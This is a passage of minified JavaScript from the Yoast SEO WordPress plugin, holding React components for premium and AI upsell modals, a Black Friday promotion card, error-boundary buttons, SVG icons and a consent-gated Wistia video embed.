e.title=bt("data_page_title",e.title),e.title=bt("title",e.title),e.description=bt("data_meta_desc",e.description),e.text=bt("content",e.text),e}(n);return(0,me.applyFilters)("yoast.analysis.data",i)}(0,a.debounce)((async function(e,t){const{text:s,...n}=t,i=new I.Paper(s,n);try{const t=await e.analyze(i),{seo:s,readability:n,inclusiveLanguage:o}=t.result;if(s){const e=s[""];e.results.forEach((e=>{e.getMarker=()=>()=>window.YoastSEO.analysis.applyMarks(i,e.marks)})),e.results=Te(e.results),(0,l.dispatch)("yoast-seo/editor").setSeoResultsForKeyword(i.getKeyword(),e.results),(0,l.dispatch)("yoast-seo/editor").setOverallSeoScore(e.score,i.getKeyword())}n&&(n.results.forEach((e=>{e.getMarker=()=>()=>window.YoastSEO.analysis.applyMarks(i,e.marks)})),n.results=Te(n.results),(0,l.dispatch)("yoast-seo/editor").setReadabilityResults(n.results),(0,l.dispatch)("yoast-seo/editor").setOverallReadabilityScore(n.score)),o&&(o.results.forEach((e=>{e.getMarker=()=>()=>window.YoastSEO.analysis.applyMarks(i,e.marks)})),o.results=Te(o.results),(0,l.dispatch)("yoast-seo/editor").setInclusiveLanguageResults(o.results),(0,l.dispatch)("yoast-seo/editor").setOverallInclusiveLanguageScore(o.score)),(0,me.doAction)("yoast.analysis.run",t,{paper:i})}catch(e){}}),500);const Et=()=>{const{getContentLocale:e}=(0,l.select)("yoast-seo/editor"),t=((...e)=>()=>e.map((e=>e())))(e,_t),s=(()=>{const{setEstimatedReadingTime:e,setFleschReadingEase:t,setTextLength:s}=(0,l.dispatch)("yoast-seo/editor"),n=(0,a.get)(window,"YoastSEO.analysis.worker.runResearch",a.noop);return()=>{const i=I.Paper.parse(_t());n("readingTime",i).then((t=>e(t.result))),n("getFleschReadingScore",i).then((e=>{e.result&&t(e.result)})),n("wordCountInText",i).then((e=>s(e.result)))}})();return setTimeout(s,1500),((e,t)=>{let s=e();return()=>{const n=e();(0,a.isEqual)(n,s)||(s=n,t((0,a.clone)(n)))}})(t,s)},vt=window.React,kt=window.wp.components,St=window.wp.element,xt=window.yoast.uiLibrary,Rt=window.yoast.propTypes;var Ot=e.n(Rt);Ot().string.isRequired;const Pt=vt.forwardRef((function(e,t){return vt.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:t},e),vt.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 11V7a4 4 0 118 0m-4 8v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2z"}))})),Ct=vt.forwardRef((function(e,t){return vt.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:t},e),vt.createElement("path",{fillRule:"evenodd",d:"M12.293 5.293a1 1 0 011.414 0l4 4a1 1 0 010 1.414l-4 4a1 1 0 01-1.414-1.414L14.586 11H3a1 1 0 110-2h11.586l-2.293-2.293a1 1 0 010-1.414z",clipRule:"evenodd"}))})),Tt=({learnMoreLink:e,thumbnail:t,wistiaEmbedPermission:s,upsellLink:n,isProductCopy:i,title:o,upsellLabel:a,newToText:l,bundleNote:c})=>{const{onClose:d,initialFocus:p}=(0,xt.useModalContext)(),u={a:(0,vt.createElement)(Ht,{href:e,className:"yst-inline-flex yst-items-center yst-gap-1 yst-no-underline yst-font-medium",variant:"primary"}),ArrowNarrowRightIcon:(0,vt.createElement)(Ct,{className:"yst-w-4 yst-h-4 rtl:yst-rotate-180"})};return(0,vt.createElement)(vt.Fragment,null,(0,vt.createElement)("div",{className:"yst-px-10 yst-pt-10 yst-introduction-gradient yst-text-center"},(0,vt.createElement)("div",{className:"yst-relative yst-w-full"},(0,vt.createElement)(ws,{videoId:"vmrahpfjxp",thumbnail:t,wistiaEmbedPermission:s}),(0,vt.createElement)(xt.Badge,{className:"yst-absolute yst-top-0 yst-right-2 yst-mt-2 yst-ml-2",variant:"info"},"Beta")),(0,vt.createElement)("div",{className:"yst-mt-6 yst-text-xs yst-font-medium yst-flex yst-flex-col yst-items-center"},(0,vt.createElement)("span",{className:"yst-introduction-modal-uppercase yst-flex yst-gap-2 yst-items-center"},(0,vt.createElement)("span",{className:"yst-logo-icon"}),l))),(0,vt.createElement)("div",{className:"yst-px-10 yst-pb-4 yst-flex yst-flex-col yst-items-center"},(0,vt.createElement)("div",{className:"yst-mt-4 yst-mx-1.5 yst-text-center"},(0,vt.createElement)("h3",{className:"yst-text-slate-900 yst-text-lg yst-font-medium"},o),(0,vt.createElement)("div",{className:"yst-mt-2 yst-text-slate-600 yst-text-sm"},i?(0,St.createInterpolateElement)((0,r.sprintf)(/* translators: %1$s and %2$s are anchor tags; %3$s is the arrow icon. */
(0,r.__)("Let AI do some of the thinking for you and help you save time. Get high-quality suggestions for product titles and meta descriptions to make your content rank high and look good on social media. %1$sLearn more%2$s%3$s","wordpress-seo"),"<a>","<ArrowNarrowRightIcon />","</a>"),u):(0,St.createInterpolateElement)((0,r.sprintf)(/* translators: %1$s and %2$s are anchor tags; %3$s is the arrow icon. */
(0,r.__)("Let AI do some of the thinking for you and help you save time. Get high-quality suggestions for titles and meta descriptions to make your content rank high and look good on social media. %1$sLearn more%2$s%3$s","wordpress-seo"),"<a>","<ArrowNarrowRightIcon />","</a>"),u))),(0,vt.createElement)("div",{className:"yst-w-full yst-flex yst-mt-10"},(0,vt.createElement)(xt.Button,{as:"a",className:"yst-grow",size:"extra-large",variant:"upsell",href:n,target:"_blank",ref:p},(0,vt.createElement)(Pt,{className:"yst--ml-1 yst-mr-2 yst-h-5 yst-w-5"}),a,(0,vt.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,r.__)("(Opens in a new browser tab)","wordpress-seo")))),c,(0,vt.createElement)(xt.Button,{as:"a",className:"yst-mt-4",variant:"tertiary",onClick:d},(0,r.__)("Close","wordpress-seo"))))};Tt.propTypes={learnMoreLink:Ot().string.isRequired,upsellLink:Ot().string.isRequired,thumbnail:Ot().shape({src:Ot().string.isRequired,width:Ot().string,height:Ot().string}).isRequired,wistiaEmbedPermission:Ot().shape({value:Ot().bool.isRequired,status:Ot().string.isRequired,set:Ot().func.isRequired}).isRequired,title:Ot().string,upsellLabel:Ot().string,newToText:Ot().string,isProductCopy:Ot().bool,bundleNote:Ot().oneOfType([Ot().string,Ot().element])},Tt.defaultProps={title:(0,r.__)("Use AI to write your titles & meta descriptions!","wordpress-seo"),upsellLabel:(0,r.sprintf)(/* translators: %1$s expands to Yoast SEO Premium. */
(0,r.__)("Unlock with %1$s","wordpress-seo"),"Yoast SEO Premium"),newToText:"Yoast SEO Premium",isProductCopy:!1,bundleNote:""};const At=({learnMoreLink:e,thumbnail:t,wistiaEmbedPermission:s,upsellLink:n,upsellLabel:i})=>{const{onClose:o,initialFocus:a}=(0,xt.useModalContext)(),l={a:(0,vt.createElement)(Ht,{href:e,className:"yst-inline-flex yst-items-center yst-gap-1 yst-no-underline yst-font-medium",variant:"primary"}),ArrowNarrowRightIcon:(0,vt.createElement)(Ct,{className:"yst-w-4 yst-h-4 rtl:yst-rotate-180"}),br:(0,vt.createElement)("br",null)};return(0,vt.createElement)(vt.Fragment,null,(0,vt.createElement)("div",{className:"yst-px-10 yst-pt-10 yst-introduction-gradient yst-text-center"},(0,vt.createElement)("div",{className:"yst-relative yst-w-full"},(0,vt.createElement)(ws,{videoId:"vun9z1dpfh",thumbnail:t,wistiaEmbedPermission:s}),(0,vt.createElement)(xt.Badge,{className:"yst-absolute yst-right-0 yst-mr-4 yst-text-center yst-justify-center",variant:"info",style:{top:"-8px"}},(0,r.__)("Beta","wordpress-seo-premium"))),(0,vt.createElement)("div",{className:"yst-mt-6 yst-text-xs yst-font-medium yst-flex yst-flex-col yst-items-center"},(0,vt.createElement)("span",{className:"yst-introduction-modal-uppercase yst-flex yst-gap-2 yst-items-center"},(0,vt.createElement)("span",{className:"yst-logo-icon"}),"Yoast SEO Premium"))),(0,vt.createElement)("div",{className:"yst-px-10 yst-pb-4 yst-flex yst-flex-col yst-items-center"},(0,vt.createElement)("div",{className:"yst-mt-4 yst-mx-1.5 yst-text-center"},(0,vt.createElement)("h3",{className:"yst-text-slate-900 yst-text-lg yst-font-medium"},(0,r.sprintf)(/* translators: %s: Expands to "Yoast AI" */
(0,r.__)("Optimize your SEO content with %s","wordpress-seo"),"Yoast AI")),(0,vt.createElement)("div",{className:"yst-mt-2 yst-text-slate-600 yst-text-sm"},(0,St.createInterpolateElement)((0,r.sprintf)(/* translators: %1$s is a break tag; %2$s and %3$s are anchor tags; %4$s is the arrow icon. */
(0,r.__)("Make content editing a breeze! Optimize your SEO content with quick, actionable suggestions at the click of a button.%1$s%2$sLearn more%3$s%4$s","wordpress-seo"),"<br/>","<a>","<ArrowNarrowRightIcon />","</a>"),l))),(0,vt.createElement)("div",{className:"yst-w-full yst-flex yst-mt-6"},(0,vt.createElement)(xt.Button,{as:"a",className:"yst-grow",size:"extra-large",variant:"upsell",href:n,target:"_blank",ref:a},(0,vt.createElement)(Pt,{className:"yst--ml-1 yst-mr-2 yst-h-5 yst-w-5"}),i,(0,vt.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,r.__)("(Opens in a new browser tab)","wordpress-seo")))),(0,vt.createElement)(xt.Button,{as:"a",className:"yst-mt-4",variant:"tertiary",onClick:o},(0,r.__)("Close","wordpress-seo"))))};At.propTypes={learnMoreLink:Ot().string.isRequired,upsellLink:Ot().string.isRequired,thumbnail:Ot().shape({src:Ot().string.isRequired,width:Ot().string,height:Ot().string}).isRequired,wistiaEmbedPermission:Ot().shape({value:Ot().bool.isRequired,status:Ot().string.isRequired,set:Ot().func.isRequired}).isRequired,upsellLabel:Ot().string},At.defaultProps={upsellLabel:(0,r.sprintf)(/* translators: %1$s expands to Yoast SEO Premium. */
(0,r.__)("Unlock with %1$s","wordpress-seo"),"Yoast SEO Premium")};const Nt=({handleRefreshClick:e,supportLink:t})=>(0,vt.createElement)("div",{className:"yst-flex yst-gap-2"},(0,vt.createElement)(xt.Button,{onClick:e},(0,r.__)("Refresh this page","wordpress-seo")),(0,vt.createElement)(xt.Button,{variant:"secondary",as:"a",href:t,target:"_blank",rel:"noopener"},(0,r.__)("Contact support","wordpress-seo")));Nt.propTypes={handleRefreshClick:Ot().func.isRequired,supportLink:Ot().string.isRequired};const Mt=({handleRefreshClick:e,supportLink:t})=>(0,vt.createElement)("div",{className:"yst-grid yst-grid-cols-1 yst-gap-y-2"},(0,vt.createElement)(xt.Button,{className:"yst-order-last",onClick:e},(0,r.__)("Refresh this page","wordpress-seo")),(0,vt.createElement)(xt.Button,{variant:"secondary",as:"a",href:t,target:"_blank",rel:"noopener"},(0,r.__)("Contact support","wordpress-seo")));Mt.propTypes={handleRefreshClick:Ot().func.isRequired,supportLink:Ot().string.isRequired};const It=({error:e,children:t})=>(0,vt.createElement)("div",{role:"alert",className:"yst-max-w-screen-sm yst-p-8 yst-space-y-4"},(0,vt.createElement)(xt.Title,null,(0,r.__)("Something went wrong. An unexpected error occurred.","wordpress-seo")),(0,vt.createElement)("p",null,(0,r.__)("We're very sorry, but it seems like the following error has interrupted our application:","wordpress-seo")),(0,vt.createElement)(xt.Alert,{variant:"error"},(null==e?void 0:e.message)||(0,r.__)("Undefined error message.","wordpress-seo")),(0,vt.createElement)("p",null,(0,r.__)("Unfortunately, this means that any unsaved changes in this section will be lost. You can try and refresh this page to resolve the problem. If this error still occurs, please get in touch with our support team, and we'll get you all the help you need!","wordpress-seo")),t);It.propTypes={error:Ot().object.isRequired,children:Ot().node},It.VerticalButtons=Mt,It.HorizontalButtons=Nt;var Lt;function Ft(){return Ft=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var n in s)Object.prototype.hasOwnProperty.call(s,n)&&(e[n]=s[n])}return e},Ft.apply(this,arguments)}Ot().string,Ot().node.isRequired,Ot().node.isRequired,Ot().node,Ot().oneOf(Object.keys({lg:{grid:"yst-grid lg:yst-grid-cols-3 lg:yst-gap-12",col1:"yst-col-span-1",col2:"lg:yst-mt-0 lg:yst-col-span-2"},xl:{grid:"yst-grid xl:yst-grid-cols-3 xl:yst-gap-12",col1:"yst-col-span-1",col2:"xl:yst-mt-0 xl:yst-col-span-2"},"2xl":{grid:"yst-grid 2xl:yst-grid-cols-3 2xl:yst-gap-12",col1:"yst-col-span-1",col2:"2xl:yst-mt-0 2xl:yst-col-span-2"}}));const Bt=e=>vt.createElement("svg",Ft({xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",viewBox:"0 0 1000 1000"},e),Lt||(Lt=vt.createElement("path",{fill:"#fff",d:"M500 0C223.9 0 0 223.9 0 500s223.9 500 500 500 500-223.9 500-500S776.1 0 500 0Zm87.2 412.4c0-21.9 4.3-40.2 13.1-54.4s24-27.1 45.9-38.2l10.1-4.9c17.8-9 22.4-16.7 22.4-26 0-11.1-9.5-19.1-25-19.1-18.3 0-32.2 9.5-41.8 28.9l-24.7-24.8c5.4-11.6 14.1-20.9 25.8-28.1a70.8 70.8 0 0 1 38.9-11.1c17.8 0 33.3 4.6 45.9 14.2s19.4 22.7 19.4 39.4c0 26.6-15 42.9-43.1 57.3l-15.7 8c-16.8 8.5-25.1 16-27.4 29.4h85.4v35.4H587.2Zm-82.1 373.3c-157.8 0-285.7-127.9-285.7-285.7s127.9-285.7 285.7-285.7a286.4 286.4 0 0 1 55.9 5.5l-55.9 116.9c-90 0-163.3 73.3-163.3 163.3s73.3 163.3 163.3 163.3a162.8 162.8 0 0 0 106.4-39.6l61.8 107.2a283.9 283.9 0 0 1-168.2 54.8ZM705 704.1l-70.7-122.5H492.9l70.7-122.4H705l70.7 122.4Z"}))),Dt=window.ReactDOM;var Ut,jt,Yt;(jt=Ut||(Ut={})).Pop="POP",jt.Push="PUSH",jt.Replace="REPLACE",function(e){e.data="data",e.deferred="deferred",e.redirect="redirect",e.error="error"}(Yt||(Yt={})),new Set(["lazy","caseSensitive","path","id","index","children"]),Error;const qt=["post","put","patch","delete"],$t=(new Set(qt),["get",...qt]);new Set($t),new Set([301,302,303,307,308]),new Set([307,308]),Symbol("deferred"),vt.Component,vt.startTransition,new Promise((()=>{})),vt.Component,new Set(["application/x-www-form-urlencoded","multipart/form-data","text/plain"]);try{window.__reactRouterVersion="6"}catch(e){}var zt,Kt,Vt,Wt;new Map,vt.startTransition,Dt.flushSync,vt.useId,"undefined"!=typeof window&&void 0!==window.document&&window.document.createElement,(Wt=zt||(zt={})).UseScrollRestoration="useScrollRestoration",Wt.UseSubmit="useSubmit",Wt.UseSubmitFetcher="useSubmitFetcher",Wt.UseFetcher="useFetcher",Wt.useViewTransitionState="useViewTransitionState",(Vt=Kt||(Kt={})).UseFetcher="useFetcher",Vt.UseFetchers="useFetchers",Vt.UseScrollRestoration="useScrollRestoration",Ot().string.isRequired,Ot().string;const Ht=({href:e,children:t,...s})=>(0,vt.createElement)(xt.Link,{target:"_blank",rel:"noopener noreferrer",...s,href:e},t,(0,vt.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,r.__)("(Opens in a new browser tab)","wordpress-seo")));Ht.propTypes={href:Ot().string.isRequired,children:Ot().node},Ht.defaultProps={children:null};const Qt=vt.forwardRef((function(e,t){return vt.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:t},e),vt.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M17 8l4 4m0 0l-4 4m4-4H3"}))}));var Gt,Zt,Jt;function Xt(){return Xt=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var n in s)Object.prototype.hasOwnProperty.call(s,n)&&(e[n]=s[n])}return e},Xt.apply(this,arguments)}const es=e=>vt.createElement("svg",Xt({xmlns:"http://www.w3.org/2000/svg",id:"star-rating-half_svg__Layer_1","data-name":"Layer 1",viewBox:"0 0 500 475.53"},e),Gt||(Gt=vt.createElement("defs",null,vt.createElement("style",null,".star-rating-half_svg__cls-1{fill:#fbbf24}"))),Zt||(Zt=vt.createElement("path",{d:"M250 392.04 98.15 471.87l29-169.09L4.3 183.03l169.77-24.67L250 4.52l75.93 153.84 169.77 24.67-122.85 119.75 29 169.09L250 392.04z",className:"star-rating-half_svg__cls-1"})),Jt||(Jt=vt.createElement("path",{d:"m250 9.04 73.67 149.27.93 1.88 2.08.3 164.72 23.94-119.19 116.19-1.51 1.47.36 2.07 28.14 164.06-147.34-77.46-1.86-1-1.86 1-147.34 77.46 28.14-164.06.36-2.07-1.51-1.47L8.6 184.43l164.72-23.9 2.08-.3.93-1.88L250 9.04m0-9-77.25 156.49L0 181.64l125 121.89-29.51 172L250 394.3l154.51 81.23-29.51-172 125-121.89-172.75-25.11L250 0Z",className:"star-rating-half_svg__cls-1"})),vt.createElement("path",{d:"m500 181.64-172.75-25.11L250 0v394.3l154.51 81.23L375 303.48l125-121.84z",style:{fill:"#f3f4f6"}}));function ts(){return ts=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var n in s)Object.prototype.hasOwnProperty.call(s,n)&&(e[n]=s[n])}return e},ts.apply(this,arguments)}const ss=e=>vt.createElement("svg",ts({xmlns:"http://www.w3.org/2000/svg","data-name":"Layer 1",viewBox:"0 0 500 475.53"},e),vt.createElement("path",{d:"m250 0 77.25 156.53L500 181.64 375 303.48l29.51 172.05L250 394.3 95.49 475.53 125 303.48 0 181.64l172.75-25.11L250 0z",style:{fill:"#fbbf24"}}));var ns,is,os,as,rs,ls,cs,ds,ps;function us(){return us=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var n in s)Object.prototype.hasOwnProperty.call(s,n)&&(e[n]=s[n])}return e},us.apply(this,arguments)}const ms=e=>vt.createElement("svg",us({xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",viewBox:"0 0 500 500"},e),ns||(ns=vt.createElement("path",{fill:"#a4286a",d:"M80 0h340a80 80 0 0 1 80 80v420H80a80 80 0 0 1-80-80V80A80 80 0 0 1 80 0z"})),is||(is=vt.createElement("path",{fill:"#6c2548",d:"M437.61 2 155.89 500H500V80a80 80 0 0 0-62.39-78z"})),os||(os=vt.createElement("path",{fill:"#fff",d:"M74.4 337.3v34.9c21.6-.9 38.5-8 52.8-22.5s27.4-38 39.9-72.9l92.6-248h-44.8L140.3 236l-37-116.2h-41l54.4 139.8a57.54 57.54 0 0 1 0 41.8c-5.5 14.2-15.4 30.9-42.3 35.9z"})),as||(as=vt.createElement("circle",{cx:368.33,cy:124.68,r:97.34,fill:"#9fda4f",transform:"rotate(-45 368.335 124.68)"})),rs||(rs=vt.createElement("path",{fill:"#77b227",d:"m416.2 39.93-95.74 169.51A97.34 97.34 0 1 0 416.2 39.93z"})),ls||(ls=vt.createElement("path",{fill:"#fec228",d:"m294.78 254.75-.15-.08-.13-.07a63.6 63.6 0 0 0-62.56 110.76h.13a63.6 63.6 0 0 0 62.71-110.67z"})),cs||(cs=vt.createElement("path",{fill:"#f49a00",d:"m294.5 254.59-62.56 110.76a63.6 63.6 0 1 0 62.56-110.76z"})),ds||(ds=vt.createElement("path",{fill:"#ff4e47",d:"M222.31 450.07A38.16 38.16 0 0 0 203 416.83a38.18 38.18 0 1 0 19.41 33.27z"})),ps||(ps=vt.createElement("path",{fill:"#ed261f",d:"m202.9 416.8-37.54 66.48a38.17 38.17 0 0 0 37.54-66.48z"}))),hs=({link:e,linkProps:t,isPromotionActive:s})=>{let n=(0,St.useMemo)((()=>(0,r.__)("Use AI to generate titles and meta descriptions, automatically redirect deleted pages, get 24/7 support, and much, much more!","wordpress-seo")),[]),i=(0,St.createInterpolateElement)((0,r.sprintf)(/* translators: %1$s and %2$s expand to a span wrap to avoid linebreaks. %3$s expands to "Yoast SEO Premium". */
(0,r.__)("%1$sGet%2$s %3$s","wordpress-seo"),"<nowrap>","</nowrap>","Yoast SEO Premium"),{nowrap:(0,vt.createElement)("span",{className:"yst-whitespace-nowrap"})});const o=s("black-friday-2024-promotion");return o&&(n=(0,St.useMemo)((()=>(0,r.__)("If you were thinking about upgrading, now's the time! 30% OFF ends 3rd Dec 11am (CET)","wordpress-seo")),[]),i=(0,St.createInterpolateElement)((0,r.sprintf)(/* translators: %1$s and %2$s expand to a span wrap to avoid linebreaks. %3$s expands to "Yoast SEO Premium". */
(0,r.__)("%1$sBuy%2$s %3$s","wordpress-seo"),"<nowrap>","</nowrap>","Yoast SEO Premium"),{nowrap:(0,vt.createElement)("span",{className:"yst-whitespace-nowrap"})})),(0,vt.createElement)("div",{className:"yst-p-6 yst-rounded-lg yst-text-white yst-bg-primary-500 yst-shadow"},(0,vt.createElement)("figure",{className:"yst-logo-square yst-w-16 yst-h-16 yst-mx-auto yst-overflow-hidden yst-border yst-border-white yst-rounded-xl yst-rounded-br-none yst-relative yst-z-10 yst-mt-[-2.6rem]"},(0,vt.createElement)(ms,null)),o&&(0,vt.createElement)("div",{className:"sidebar__sale_banner_container"},(0,vt.createElement)("div",{className:"sidebar__sale_banner"},(0,vt.createElement)("span",{className:"banner_text"},(0,r.__)("30% OFF - BLACK FRIDAY","wordpress-seo")))),(0,vt.createElement)(xt.Title,{as:"h2",className:"yst-mt-6 yst-text-base yst-font-extrabold yst-text-white"},i),(0,vt.createElement)("p",{className:"yst-mt-2"},n),(0,vt.createElement)(xt.Button,{as:"a",variant:"upsell",href:e,target:"_blank",rel:"noopener",className:"yst-flex yst-justify-center yst-gap-2 yst-mt-4 focus:yst-ring-offset-primary-500",...t},(0,vt.createElement)("span",null,o?(0,r.__)("Buy now","wordpress-seo"):i),(0,vt.createElement)(Qt,{className:"yst-w-4 yst-h-4 yst-icon-rtl"})),(0,vt.createElement)("p",{className:"yst-text-center yst-text-xs yst-mx-2 yst-font-light yst-leading-5 yst-mt-2"},!o&&(0,vt.createElement)(vt.Fragment,null,(0,r.__)("Only $/€/£99 per year (ex VAT)","wordpress-seo"),(0,vt.createElement)("br",null)),(0,r.__)("30-day money back guarantee.","wordpress-seo")),(0,vt.createElement)("hr",{className:"yst-border-t yst-border-primary-300 yst-my-4"}),(0,vt.createElement)("a",{className:"yst-block yst-mt-4 yst-no-underline",href:"https://www.g2.com/products/yoast-yoast/reviews",target:"_blank",rel:"noopener noreferrer"},(0,vt.createElement)("span",{className:"yst-font-medium yst-text-white hover:yst-underline"},(0,r.__)("Read reviews from real users","wordpress-seo")),(0,vt.createElement)("span",{className:"yst-flex yst-gap-2 yst-mt-2 yst-items-center"},(0,vt.createElement)(Bt,{className:"yst-w-5 yst-h-5"}),(0,vt.createElement)("span",{className:"yst-flex yst-gap-1"},(0,vt.createElement)(ss,{className:"yst-w-5 yst-h-5"}),(0,vt.createElement)(ss,{className:"yst-w-5 yst-h-5"}),(0,vt.createElement)(ss,{className:"yst-w-5 yst-h-5"}),(0,vt.createElement)(ss,{className:"yst-w-5 yst-h-5"}),(0,vt.createElement)(es,{className:"yst-w-5 yst-h-5"})),(0,vt.createElement)("span",{className:"yst-text-sm yst-font-semibold yst-text-white"},"4.6 / 5"))))};hs.propTypes={link:Ot().string.isRequired,linkProps:Ot().object,isPromotionActive:Ot().func},hs.defaultProps={linkProps:{},isPromotionActive:a.noop};const gs=({premiumLink:e,premiumUpsellConfig:t,isPromotionActive:s})=>{const n=s("black-friday-2024-promotion");return(0,vt.createElement)(xt.Paper,{as:"div",className:"xl:yst-max-w-3xl"},n&&(0,vt.createElement)("div",{className:"yst-rounded-t-lg yst-h-9 yst-flex yst-justify-between yst-items-center yst-bg-black yst-text-amber-300 yst-px-4 yst-text-lg yst-border-b yst-border-amber-300 yst-border-solid yst-font-semibold"},(0,vt.createElement)("div",null,(0,r.__)("30% OFF","wordpress-seo")),(0,vt.createElement)("div",null,(0,r.__)("BLACK FRIDAY","wordpress-seo"))),(0,vt.createElement)("div",{className:"yst-p-6 yst-flex yst-flex-col"},(0,vt.createElement)(xt.Title,{as:"h2",size:"4",className:"yst-text-xl yst-text-primary-500"},(0,r.sprintf)(/* translators: %s expands to "Yoast SEO" Premium */
(0,r.__)("Upgrade to %s","wordpress-seo"),"Yoast SEO Premium")),(0,vt.createElement)("ul",{className:"yst-grid yst-grid-cols-1 sm:yst-grid-cols-2 yst-gap-x-6 yst-list-disc yst-pl-[1em] yst-list-outside yst-text-slate-800 yst-mt-6"},[(0,r.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,r.__)("%1$sAI%2$s: Better SEO titles and meta descriptions, faster.","wordpress-seo"),"<strong>","</strong>"),(0,r.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,r.__)("%1$sMultiple keywords%2$s: Rank higher for more searches.","wordpress-seo"),"<strong>","</strong>"),(0,r.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,r.__)("%1$sSuper fast%2$s internal linking suggestions.","wordpress-seo"),"<strong>","</strong>"),(0,r.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,r.__)("%1$sNo more broken links%2$s: Automatic redirect manager.","wordpress-seo"),"<strong>","</strong>"),(0,r.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,r.__)("%1$sAppealing social previews%2$s people actually want to click on.","wordpress-seo"),"<strong>","</strong>"),(0,r.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,r.__)("%1$s24/7 support%2$s: Also on evenings and weekends.","wordpress-seo"),"<strong>","</strong>")].map(((e,t)=>(0,vt.createElement)("li",{key:`upsell-benefit-${t}`},(0,St.createInterpolateElement)(e,{strong:(0,vt.createElement)("span",{className:"yst-font-semibold"})}))))),(0,vt.createElement)(xt.Button,{as:"a",variant:"upsell",size:"extra-large",href:e,className:"yst-gap-2 yst-mt-4",target:"_blank",rel:"noopener",...t},n?(0,r.__)("Claim your 30% off now!","wordpress-seo"):(0,r.sprintf)(/* translators: %s expands to "Yoast SEO" Premium */
(0,r.__)("Explore %s now!","wordpress-seo"),"Yoast SEO Premium"),(0,vt.createElement)(Qt,{className:"yst-w-4 yst-h-4 yst-icon-rtl"}))))};gs.propTypes={premiumLink:Ot().string.isRequired,premiumUpsellConfig:Ot().object,isPromotionActive:Ot().func},gs.defaultProps={premiumUpsellConfig:{},isPromotionActive:a.noop},Ot().string.isRequired,Ot().object.isRequired,Ot().string.isRequired,Ot().func.isRequired,vt.forwardRef((function(e,t){return vt.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:t},e),vt.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01m-6.938 4h13.856c1.54 0 2.502-1.667 1.732-3L13.732 4c-.77-1.333-2.694-1.333-3.464 0L3.34 16c-.77 1.333.192 3 1.732 3z"}))})),Ot().bool.isRequired,Ot().func,Ot().func,Ot().string.isRequired,Ot().string.isRequired,Ot().string.isRequired,Ot().string.isRequired;const ys=window.yoast.reactHelmet,ws=({videoId:e,thumbnail:t,wistiaEmbedPermission:s})=>{const[n,i]=(0,St.useState)(s.value?O:x),o=(0,St.useCallback)((()=>i(O)),[i]),a=(0,St.useCallback)((()=>{s.value?o():i(R)}),[s.value,o,i]),l=(0,St.useCallback)((()=>i(x)),[i]),c=(0,St.useCallback)((()=>{s.set(!0),o()}),[s.set,o]);return(0,vt.createElement)(vt.Fragment,null,s.value&&(0,vt.createElement)(ys.Helmet,null,(0,vt.createElement)("script",{src:"https://fast.wistia.com/assets/external/E-v1.js",async:!0})),(0,vt.createElement)("div",{className:"yst-relative yst-w-full yst-h-0 yst-pt-[56.25%] yst-overflow-hidden yst-rounded-md yst-drop-shadow-md yst-bg-white"},n===x&&(0,vt.createElement)("button",{type:"button",className:"yst-absolute yst-inset-0 yst-button yst-p-0 yst-border-none yst-bg-white yst-transition-opacity yst-duration-1000 yst-opacity-100",onClick:a},(0,vt.createElement)("img",{className:"yst-w-full yst-h-auto",alt:"",loading:"lazy",decoding:"async",...t})),n===R&&(0,vt.createElement)("div",{className:"yst-absolute yst-inset-0 yst-flex yst-flex-col yst-items-center yst-justify-center yst-bg-white"},(0,vt.createElement)("p",{className:"yst-max-w-xs yst-mx-auto yst-text-center"},s.status===S&&(0,vt.createElement)(xt.Spinner,null),s.status!==S&&(0,r.sprintf)(/* translators: %1$s expands to Yoast SEO. %2$s expands to Wistia. */
(0,r.__)("To see this video, you need to allow %1$s to load embedded videos from %2$s.","wordpress-seo"),"Yoast SEO","Wistia")),(0,vt.createElement)("div",{className:"yst-flex yst-mt-6 yst-gap-x-4"},(0,vt.createElement)(xt.Button,{type:"button",variant:"secondary",onClick:l,disabled:s.status===S},(0,r.__)("Deny","wordpress-seo")),(0,vt.createElement)(xt.Button,{type:"button",variant:"primary",onClick:c,disabled:s.status===S},(0,r.__)("Allow","wordpress-seo")))),s.value&&n===O&&(0,vt.createElement)("div",{className:"yst-absolute yst-w-full yst-h-full yst-top-0 yst-left-0"},null===e&&(0,vt.createElement)(xt.Spinner,{className:"yst-h-full yst-mx-auto"}),null!==e&&(0,vt.createElement)("div",{className:`wistia_embed wistia_async_${e} 